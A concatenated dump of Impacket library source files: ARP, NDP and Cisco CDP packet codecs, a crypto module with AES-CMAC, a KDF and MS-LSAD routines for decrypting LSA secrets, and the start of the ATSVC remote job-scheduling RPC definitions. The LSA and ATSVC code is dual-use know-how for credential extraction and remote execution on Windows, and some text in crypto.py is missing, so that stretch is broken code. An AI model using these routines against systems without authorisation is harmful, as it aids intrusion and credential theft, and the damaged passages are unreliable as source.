self.get_bytes().tolist()[8: 8 + tmp_size] def set_ar_sha(self, aValue): for i in range(0, self.get_ar_hln()): self.set_byte(i + 8, aValue[i]) def get_ar_spa(self): tmp_size = self.get_ar_pln() return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size] def set_ar_spa(self, aValue): for i in range(0, self.get_ar_pln()): self.set_byte(i + 8 + self.get_ar_hln(), aValue[i]) def get_ar_tha(self): tmp_size = self.get_ar_hln() tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] def set_ar_tha(self, aValue): tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() for i in range(0, self.get_ar_hln()): self.set_byte(i + tmp_from, aValue[i]) def get_ar_tpa(self): tmp_size = self.get_ar_pln() tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln() return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] def set_ar_tpa(self, aValue): tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln() for i in range(0, self.get_ar_pln()): self.set_byte(i + tmp_from, aValue[i]) def get_header_size(self): return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln()) def get_op_name(self, ar_op): tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'} answer = tmp_dict.get(ar_op, 'UNKNOWN') return answer def get_hrd_name(self, ar_hrd): tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'} answer = tmp_dict.get(ar_hrd, 'UNKNOWN') return answer def as_hrd(self, anArray): if not anArray: return '' tmp_str = '%x' % anArray[0] for i in range(1, len(anArray)): tmp_str += ':%x' % anArray[i] return tmp_str def as_pro(self, anArray): if not anArray: return '' tmp_str = '%d' % anArray[0] for i in range(1, len(anArray)): tmp_str += '.%d' % anArray[i] return tmp_str def __str__(self): tmp_op = self.get_ar_op() tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' ' tmp_str += 'opcode: ' + self.get_op_name(tmp_op) tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> ' tmp_str += self.as_hrd(self.get_ar_tha()) tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> ' tmp_str += self.as_pro(self.get_ar_tpa()) if self.child(): tmp_str += '\n' + str(self.child()) return tmp_str def example(): #To execute an example, remove this line a = Ethernet() b = ARP() c = Data('Hola loco!!!') b.set_ar_hln(6) b.set_ar_pln(4) #a.set_ip_dst('192.168.22.6') #a.set_ip_src('1.1.1.2') a.contains(b) b.contains(c) b.set_ar_op(2) b.set_ar_hrd(1) b.set_ar_spa((192, 168, 22, 6)) b.set_ar_tpa((192, 168, 66, 171)) a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d)) a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe)) print("beto %s" % a) impacket-impacket_0_11_0/impacket/NDP.py000066400000000000000000000150271446174712300202130ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # import array import struct from impacket import ImpactPacket from impacket.ICMP6 import ICMP6 class NDP(ICMP6): #ICMP message type numbers ROUTER_SOLICITATION = 133 ROUTER_ADVERTISEMENT = 134 NEIGHBOR_SOLICITATION = 135 NEIGHBOR_ADVERTISEMENT = 136 REDIRECT = 137 ############################################################################ # Append NDP Option helper def append_ndp_option(self, ndp_option): #As NDP inherits ICMP6, it is, in fact an ICMP6 "header" #The payload (where all NDP options should reside) is a child of the header self.child().get_bytes().extend(ndp_option.get_bytes()) ############################################################################ @classmethod def Router_Solicitation(class_object): message_data = struct.pack('>L', 0) #Reserved bytes return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data) @classmethod def Router_Advertisement(class_object, current_hop_limit, managed_flag, other_flag, router_lifetime, reachable_time, retransmission_timer): flag_byte = 0x00 if (managed_flag): flag_byte |= 0x80 if (other_flag): flag_byte |= 0x40 message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer) return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data) @classmethod def Neighbor_Solicitation(class_object, target_address): message_data = struct.pack('>L', 0) #Reserved bytes message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data) @classmethod def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address): flag_byte = 0x00 if (router_flag): flag_byte |= 0x80 if (solicited_flag): flag_byte |= 0x40 if (override_flag): flag_byte |= 0x20 message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data) @classmethod def Redirect(class_object, target_address, destination_address): message_data = struct.pack('>L', 0)# Reserved bytes message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) message_data += ImpactPacket.array_tobytes(destination_address.as_bytes()) return class_object.__build_message(NDP.REDIRECT, message_data) @classmethod def __build_message(class_object, type, message_data): #Build NDP header ndp_packet = NDP() ndp_packet.set_type(type) ndp_packet.set_code(0) #Pack payload ndp_payload = ImpactPacket.Data() ndp_payload.set_data(message_data) ndp_packet.contains(ndp_payload) return ndp_packet class NDP_Option(): #NDP Option Type numbers SOURCE_LINK_LAYER_ADDRESS = 1 TARGET_LINK_LAYER_ADDRESS = 2 PREFIX_INFORMATION = 3 REDIRECTED_HEADER = 4 MTU_OPTION = 5 ############################################################################ @classmethod #link_layer_address must have a size that is a multiple of 8 octets def Source_Link_Layer_Address(class_object, link_layer_address): return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address) @classmethod #link_layer_address must have a size that is a multiple of 8 octets def Target_Link_Layer_Address(class_object, link_layer_address): return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address) @classmethod #link_layer_address must have a size that is a multiple of 8 octets def __Link_Layer_Address(class_object, option_type, link_layer_address): option_length = (len(link_layer_address) / 8) + 1 option_data = ImpactPacket.array_tobytes(array.array("B", link_layer_address)) return class_object.__build_option(option_type, option_length, option_data) @classmethod #Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments #ENHANCEMENT - Prefix could be an instance of IP6_Address def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix): flag_byte = 0x00 if (on_link_flag): flag_byte |= 0x80 if (autonomous_flag): flag_byte |= 0x40 option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime) option_data += struct.pack('>L', 0) #Reserved bytes option_data += ImpactPacket.array_tobytes(array.array("B", prefix)) option_length = 4 return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data) @classmethod def Redirected_Header(class_object, original_packet): option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes option_data += ImpactPacket.array_tobytes(array.array("B", original_packet)) option_length = (len(option_data) + 4) / 8 return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data) @classmethod def MTU(class_object, mtu): option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes option_data += struct.pack('>L', mtu) option_length = 1 return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data) @classmethod def __build_option(class_object, type, length, option_data): #Pack data data_bytes = struct.pack('>BB', type, length) data_bytes += option_data ndp_option = ImpactPacket.Data() ndp_option.set_data(data_bytes) return ndp_option impacket-impacket_0_11_0/impacket/__init__.py000066400000000000000000000015241446174712300213260ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: # Alberto Solino (@agsolino) # # Set default logging handler to avoid "No handler found" warnings. import logging try: # Python 2.7+ from logging import NullHandler except ImportError: class NullHandler(logging.Handler): def emit(self, record): pass # All modules inside this library MUST use this logger (impacket) # It is up to the library consumer to do whatever is wanted # with the logger output. By default it is forwarded to the # upstream logger LOG = logging.getLogger(__name__) LOG.addHandler(NullHandler()) impacket-impacket_0_11_0/impacket/cdp.py000066400000000000000000000323531446174712300203410ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Cisco Discovery Protocol packet codecs. # # Author: # Martin Candurra # from struct import unpack import socket from impacket.ImpactPacket import Header, array_tobytes from impacket import LOG IP_ADDRESS_LENGTH = 4 class CDPTypes: DeviceID_Type = 1 Address_Type = 2 PortID_Type = 3 Capabilities_Type = 4 SoftVersion_Type = 5 Platform_Type = 6 IPPrefix_Type = 7 ProtocolHello_Type = 8 MTU_Type = 17 SystemName_Type = 20 SystemObjectId_Type = 21 SnmpLocation = 23 class CDP(Header): Type = 0x2000 OUI = 0x00000c def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self.load_header(aBuffer) self._elements = self._getElements(aBuffer) def _getElements(self, aBuffer): # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes) buff = aBuffer[4:] l = [] while buff: elem = CDPElementFactory.create(buff) l.append( elem ) buff = buff[ elem.get_length() : ] return l def get_header_size(self): return 8 def get_version(self): return self.get_byte(0) def get_ttl(self): return self.get_byte(1) def get_checksum(self): return self.get_word(2) def get_type(self): return self.get_word(4) def get_lenght(self): return self.get_word(6) def getElements(self): return self._elements def __str__(self): tmp_str = 'CDP Details:\n' for element in self._elements: tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n" return tmp_str def get_byte(buffer, offset): return unpack("!B", buffer[offset:offset+1])[0] def get_word(buffer, offset): return unpack("!h", buffer[offset:offset+2])[0] def get_long(buffer, offset): return unpack("!I", buffer[offset:offset+4])[0] def get_bytes(buffer, offset, bytes): return buffer[offset:offset + bytes] def mac_to_string(mac_bytes): bytes = unpack('!BBBBBB', mac_bytes) s = '' for byte in bytes: s += '%02x:' % byte return s[0:-1] class CDPElement(Header): def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self._length = CDPElement.Get_length(aBuffer) self.load_header( aBuffer[:self._length] ) @classmethod def Get_length(cls, aBuffer): return unpack('!h', aBuffer[2:4])[0] def get_header_size(self): self._length def get_length(self): return self.get_word(2) def get_data(self): return array_tobytes(self.get_bytes())[4:self.get_length()] def get_ip_address(self, offset = 0, ip = None): if not ip: ip = array_tobytes(self.get_bytes())[offset : offset + IP_ADDRESS_LENGTH] return socket.inet_ntoa( ip ) class CDPDevice(CDPElement): Type = 1 def get_type(self): return CDPDevice.Type def get_device_id(self): return CDPElement.get_data(self) def __str__(self): return "Device:" + self.get_device_id() class Address(CDPElement): Type = 2 def __init__(self, aBuffer = None): CDPElement.__init__(self, aBuffer) if aBuffer: data = array_tobytes(self.get_bytes())[8:] self._generateAddressDetails(data) def _generateAddressDetails(self, buff): self.address_details = [] while buff: address = AddressDetails.create(buff) self.address_details.append( address ) buff = buff[address.get_total_length():] def get_type(self): return Address.Type def get_number(self): return self.get_long(4) def get_address_details(self): return self.address_details def __str__(self): tmp_str = "Addresses:" for address_detail in self.address_details: tmp_str += "\n" + str(address_detail) return tmp_str class AddressDetails(): PROTOCOL_IP = 0xcc @classmethod def create(cls, buff): a = AddressDetails(buff) return a def __init__(self, aBuffer = None): if aBuffer: addr_length = unpack("!h", aBuffer[3:5])[0] self.total_length = addr_length + 5 self.buffer = aBuffer[:self.total_length] def get_total_length(self): return self.total_length def get_protocol_type(self): return self.buffer[0:1] def get_protocol_length(self): return get_byte( self.buffer, 1) def get_protocol(self): return get_byte( self.buffer, 2) def get_address_length(self): return get_word( self.buffer, 3) def get_address(self): address = get_bytes( self.buffer, 5, self.get_address_length() ) if self.get_protocol()==AddressDetails.PROTOCOL_IP: return socket.inet_ntoa(address) else: LOG.error("Address not IP") return address def is_protocol_IP(self): return self.get_protocol()==AddressDetails.PROTOCOL_IP def __str__(self): return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address()) class Port(CDPElement): Type = 3 def get_type(self): return Port.Type def get_port(self): return CDPElement.get_data(self) def __str__(self): return "Port:" + self.get_port() class Capabilities(CDPElement): Type = 4 def __init__(self, aBuffer = None): CDPElement.__init__(self, aBuffer) self._capabilities_processed = False self._router = False self._transparent_bridge = False self._source_route_bridge = False self._switch = False self._host = False self._igmp_capable = False self._repeater = False self._init_capabilities() def get_type(self): return Capabilities.Type def get_capabilities(self): return CDPElement.get_data(self) def _init_capabilities(self): if self._capabilities_processed: return capabilities = unpack("!L", self.get_capabilities())[0] self._router = (capabilities & 0x1) > 0 self._transparent_bridge = (capabilities & 0x02) > 0 self._source_route_bridge = (capabilities & 0x04) > 0 self._switch = (capabilities & 0x08) > 0 self._host = (capabilities & 0x10) > 0 self._igmp_capable = (capabilities & 0x20) > 0 self._repeater = (capabilities & 0x40) > 0 def is_router(self): return self._router def is_transparent_bridge(self): return self._transparent_bridge def is_source_route_bridge(self): return self._source_route_bridge def is_switch(self): return self._switch def is_host(self): return self.is_host def is_igmp_capable(self): return self._igmp_capable def is_repeater(self): return self._repeater def __str__(self): return "Capabilities:" + self.get_capabilities() class SoftVersion(CDPElement): Type = 5 def get_type(self): return SoftVersion.Type def get_version(self): return CDPElement.get_data(self) def __str__(self): return "Version:" + self.get_version() class Platform(CDPElement): Type = 6 def get_type(self): return Platform.Type def get_platform(self): return CDPElement.get_data(self) def __str__(self): return "Platform:%r" % self.get_platform() class IpPrefix(CDPElement): Type = 7 def get_type(self): return IpPrefix .Type def get_ip_prefix(self): return CDPElement.get_ip_address(self, 4) def get_bits(self): return self.get_byte(8) def __str__(self): return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits()) class ProtocolHello(CDPElement): Type = 8 def get_type(self): return ProtocolHello.Type def get_master_ip(self): return self.get_ip_address(9) def get_version(self): return self.get_byte(17) def get_sub_version(self): return self.get_byte(18) def get_status(self): return self.get_byte(19) def get_cluster_command_mac(self): return array_tobytes(self.get_bytes())[20:20+6] def get_switch_mac(self): return array_tobytes(self.get_bytes())[28:28+6] def get_management_vlan(self): return self.get_word(36) def __str__(self): return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \ % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan()) class VTPManagementDomain(CDPElement): Type = 9 def get_type(self): return VTPManagementDomain.Type def get_domain(self): return CDPElement.get_data(self) class Duplex(CDPElement): Type = 0xb def get_type(self): return Duplex.Type def get_duplex(self): return CDPElement.get_data(self) def is_full_duplex(self): return self.get_duplex()==0x1 class VLAN(CDPElement): Type = 0xa def get_type(self): return VLAN.Type def get_vlan_number(self): return CDPElement.get_data(self) class TrustBitmap(CDPElement): Type = 0x12 def get_type(self): return TrustBitmap.Type def get_trust_bitmap(self): return self.get_data() def __str__(self): return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap() class UntrustedPortCoS(CDPElement): Type = 0x13 def get_type(self): return UntrustedPortCoS.Type def get_port_CoS(self): return self.get_data() def __str__(self): return "UntrustedPortCoS port CoS %r" % self.get_port_CoS() class ManagementAddresses(Address): Type = 0x16 def get_type(self): return ManagementAddresses.Type class MTU(CDPElement): Type = 0x11 def get_type(self): return MTU.Type class SystemName(CDPElement): Type = 0x14 def get_type(self): return SystemName.Type class SystemObjectId(CDPElement): Type = 0x15 def get_type(self): return SystemObjectId.Type class SnmpLocation(CDPElement): Type = 0x17 def get_type(self): return SnmpLocation.Type class DummyCdpElement(CDPElement): Type = 0x99 def get_type(self): return DummyCdpElement.Type class CDPElementFactory(): elementTypeMap = { CDPDevice.Type : CDPDevice, Port.Type : Port, Capabilities.Type : Capabilities, Address.Type : Address, SoftVersion.Type : SoftVersion, Platform.Type : Platform, IpPrefix.Type : IpPrefix, ProtocolHello.Type : ProtocolHello, VTPManagementDomain.Type : VTPManagementDomain, VLAN.Type : VLAN, Duplex.Type : Duplex, TrustBitmap.Type : TrustBitmap, UntrustedPortCoS.Type : UntrustedPortCoS, ManagementAddresses.Type : ManagementAddresses, MTU.Type : MTU, SystemName.Type : SystemName, SystemObjectId.Type : SystemObjectId, SnmpLocation.Type : SnmpLocation } @classmethod def create(cls, aBuffer): # print "CDPElementFactory.create aBuffer:", repr(aBuffer) # print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2]) _type = unpack("!h", aBuffer[0:2])[0] # print "CDPElementFactory.create _type:", _type try: class_type = cls.elementTypeMap[_type] except KeyError: class_type = DummyCdpElement #raise Exception("CDP Element type %s not implemented" % _type) return class_type( aBuffer ) impacket-impacket_0_11_0/impacket/crypto.py000066400000000000000000000325701446174712300211140ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt) # RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt) # # NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation # (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) # # [MS-LSAD] Section 5.1.2 # [MS-SAMR] Section 2.2.11.1.1 # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function from impacket import LOG try: from Cryptodome.Cipher import DES, AES except Exception: LOG.error("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.error("See https://pypi.org/project/pycryptodomex/") from struct import pack, unpack from impacket.structure import Structure import hmac, hashlib from six import b def Generate_Subkey(K): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Algorithm Generate_Subkey + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : K (128-bit key) + # + Output : K1 (128-bit first subkey) + # + K2 (128-bit second subkey) + # +-------------------------------------------------------------------+ # + + # + Constants: const_Zero is 0x00000000000000000000000000000000 + # + const_Rb is 0x00000000000000000000000000000087 + # + Variables: L for output of AES-128 applied to 0^128 + # + + # + Step 1. L := AES-128(K, const_Zero); + # + Step 2. if MSB(L) is equal to 0 + # + then K1 := L << 1; + # + else K1 := (L << 1) XOR const_Rb; + # + Step 3. if MSB(K1) is equal to 0 + # + then K2 := K1 << 1; + # + else K2 := (K1 << 1) XOR const_Rb; + # + Step 4. return K1, K2; + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AES_128 = AES.new(K, AES.MODE_ECB) L = AES_128.encrypt(bytes(bytearray(16))) LHigh = unpack('>Q',L[:8])[0] LLow = unpack('>Q',L[8:])[0] K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF if (LHigh >> 63): K1Low ^= 0x87 K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF if (K1High >> 63): K2Low ^= 0x87 K1 = bytearray(pack('>QQ', K1High, K1Low)) K2 = bytearray(pack('>QQ', K2High, K2Low)) return K1, K2 def XOR_128(N1,N2): J = bytearray() for i in range(len(N1)): #J.append(indexbytes(N1,i) ^ indexbytes(N2,i)) J.append(N1[i] ^ N2[i]) return J def PAD(N): padLen = 16-len(N) return N + b'\x80' + b'\x00'*(padLen-1) def AES_CMAC(K, M, length): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Algorithm AES-CMAC + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : K ( 128-bit key ) + # + : M ( message to be authenticated ) + # + : len ( length of the message in octets ) + # + Output : T ( message authentication code ) + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + Constants: const_Zero is 0x00000000000000000000000000000000 + # + const_Bsize is 16 + # + + # + Variables: K1, K2 for 128-bit subkeys + # + M_i is the i-th block (i=1..ceil(len/const_Bsize)) + # + M_last is the last block xor-ed with K1 or K2 + # + n for number of blocks to be processed + # + r for number of octets of last block + # + flag for denoting if last block is complete or not + # + + # + Step 1. (K1,K2) := Generate_Subkey(K); + # + Step 2. n := ceil(len/const_Bsize); + # + Step 3. if n = 0 + # + then + # + n := 1; + # + flag := false; + # + else + # + if len mod const_Bsize is 0 + # + then flag := true; + # + else flag := false; + # + + # + Step 4. if flag is true + # + then M_last := M_n XOR K1; + # + else M_last := padding(M_n) XOR K2; + # + Step 5. X := const_Zero; + # + Step 6. for i := 1 to n-1 do + # + begin + # + Y := X XOR M_i; + # + X := AES-128(K,Y); + # + end + # + Y := M_last XOR X; + # + T := AES-128(K,Y); + # + Step 7. return T; + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ const_Bsize = 16 const_Zero = bytearray(16) AES_128= AES.new(K, AES.MODE_ECB) M = bytearray(M[:length]) K1, K2 = Generate_Subkey(K) n = len(M)//const_Bsize if n == 0: n = 1 flag = False else: if (length % const_Bsize) == 0: flag = True else: n += 1 flag = False M_n = M[(n-1)*const_Bsize:] if flag is True: M_last = XOR_128(M_n,K1) else: M_last = XOR_128(PAD(M_n),K2) X = const_Zero for i in range(n-1): M_i = M[(i)*const_Bsize:][:16] Y = XOR_128(X, M_i) X = bytearray(AES_128.encrypt(bytes(Y))) Y = XOR_128(M_last, X) T = AES_128.encrypt(bytes(Y)) return T def AES_CMAC_PRF_128(VK, M, VKlen, Mlen): # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + AES-CMAC-PRF-128 + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # + + # + Input : VK (Variable-length key) + # + : M (Message, i.e., the input data of the PRF) + # + : VKlen (length of VK in octets) + # + : len (length of M in octets) + # + Output : PRV (128-bit Pseudo-Random Variable) + # + + # +-------------------------------------------------------------------+ # + Variable: K (128-bit key for AES-CMAC) + # + + # + Step 1. If VKlen is equal to 16 + # + Step 1a. then + # + K := VK; + # + Step 1b. else + # + K := AES-CMAC(0^128, VK, VKlen); + # + Step 2. PRV := AES-CMAC(K, M, len); + # + return PRV; + # + + # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if VKlen == 16: K = VK else: K = AES_CMAC(bytes(bytearray(16)), VK, VKlen) PRV = AES_CMAC(K, M, Mlen) return PRV def KDF_CounterMode(KI, Label, Context, L): # Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 # https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108 # Fixed values: # 1. h - The length of the output of the PRF in bits, and # 2. r - The length of the binary representation of the counter i. # Input: KI, Label, Context, and L. # Process: # 1. n := [L/h] # 2. If n > 2r-1, then indicate an error and stop. # 3. result(0):= empty . # 4. For i = 1 to n, do # a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2) # b. result(i) := result(i-1) || K(i). # 5. Return: KO := the leftmost L bits of result(n). h = 256 r = 32 n = L // h if n == 0: n = 1 if n > (pow(2,r)-1): raise Exception("Error computing KDF_CounterMode") result = b'' K = b'' for i in range(1,n+1): input = pack('>L', i) + Label + b'\x00' + Context + pack('>L',L) K = hmac.new(KI, input, hashlib.sha256).digest() result = result + K return result[:(L//8)] # [MS-LSAD] Section 5.1.2 / 5.1.3 class LSA_SECRET_XP(Structure): structure = ( ('Length','> 0x01) ) OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) ) OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) ) OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) ) OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) ) OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) ) OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) ) OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) ) for i in range(8): OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) return b("".join(OutputKey)) def decryptSecret(key, value): # [MS-LSAD] Section 5.1.2 plainText = b'' key0 = key for i in range(0, len(value), 8): cipherText = value[:8] tmpStrKey = key0[:7] tmpKey = transformKey(tmpStrKey) Crypt1 = DES.new(tmpKey, DES.MODE_ECB) plainText += Crypt1.decrypt(cipherText) key0 = key0[7:] value = value[8:] # AdvanceKey if len(key0) < 7: key0 = key[len(key0):] secret = LSA_SECRET_XP(plainText) return (secret['Secret']) def encryptSecret(key, value): # [MS-LSAD] Section 5.1.2 cipherText = b'' key0 = key value0 = pack('. # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL from impacket import hresult_errors from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.rpcrt import DCERPCException MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): key = self.error_code if key in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ ATSVC_HANDLE = LPWSTR # 2.3.1 Constant Values CNLEN = 15 DNLEN = CNLEN UNLEN = 256 MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) # 2.3.7 Flags TASK_FLAG_INTERACTIVE = 0x1 TASK_FLAG_DELETE_WHEN_DONE = 0x2 TASK_FLAG_DISABLED = 0x4 TASK_FLAG_START_ONLY_IF_IDLE = 0x10 TASK_FLAG_KILL_ON_IDLE_END = 0x20 TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 TASK_FLAG_HIDDEN = 0x200 TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 TASK_FLAG_SYSTEM_REQUIRED = 0x1000 TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 ################################################################################ # STRUCTURES ################################################################################ # 2.3.4 AT_INFO class AT_INFO(NDRSTRUCT): structure = ( ('JobTime',DWORD), ('DaysOfMonth',DWORD), ('DaysOfWeek',UCHAR), ('Flags',UCHAR), ('Command',LPWSTR), ) class LPAT_INFO(NDRPOINTER): referent = ( ('Data',AT_INFO), ) # 2.3.6 AT_ENUM class AT_ENUM(NDRSTRUCT): structure = ( ('JobId',DWORD), ('JobTime',DWORD), ('DaysOfMonth',DWORD), ('DaysOfWeek',UCHAR), ('Flags',UCHAR), ('Command',LPWSTR), ) class AT_ENUM_ARRAY(NDRUniConformantArray): item = AT_ENUM class LPAT_ENUM_ARRAY(NDRPOINTER): referent = ( ('Data',AT_ENUM_ARRAY), ) # 2.3.5 AT_ENUM_CONTAINER class AT_ENUM_CONTAINER(NDRSTRUCT): structure = ( ('EntriesRead',DWORD), ('Buffer',LPAT_ENUM_ARRAY), ) ################################################################################ # RPC CALLS ################################################################################ # 3.2.5.2.1 NetrJobAdd (Opnum 0) class NetrJobAdd(NDRCALL): opnum = 0 structure = ( ('ServerName',ATSVC_HANDLE), ('pAtInfo', AT_INFO), ) class NetrJobAddResponse(NDRCALL): structure = ( ('pJobId',DWORD), ('ErrorCode',ULONG), ) # 3.2.5.2.2 NetrJobDel (Opnum 1) class NetrJobDel(NDRCALL): opnum = 1 structure = ( ('ServerName',ATSVC_HANDLE), ('MinJobId', DWORD), ('MaxJobId', DWORD), ) class NetrJobDelResponse(NDRCALL): structure = ( ('ErrorCode',ULONG), ) # 3.2.5.2.3 NetrJobEnum (Opnum 2) class NetrJobEnum(NDRCALL): opnum = 2 structure = ( ('ServerName',ATSVC_HANDLE), ('pEnumContainer', AT_ENUM_CONTAINER), ('PreferedMaximumLength', DWORD), ('pResumeHandle', LPDWORD), ) class NetrJobEnumResponse(NDRCALL): structure = ( ('pEnumContainer', AT_ENUM_CONTAINER), ('pTotalEntries', DWORD), ('pResumeHandle',LPDWORD), ('ErrorCode',ULONG), ) # 3.2.5.2.4 NetrJobGetInfo (Opnum 3) class NetrJobGetInfo(NDRCALL): opnum = 3 structure = ( ('ServerName',ATSVC_HANDLE), ('JobId', DWORD), ) class NetrJobGetInfoResponse(NDRCALL): structure = ( 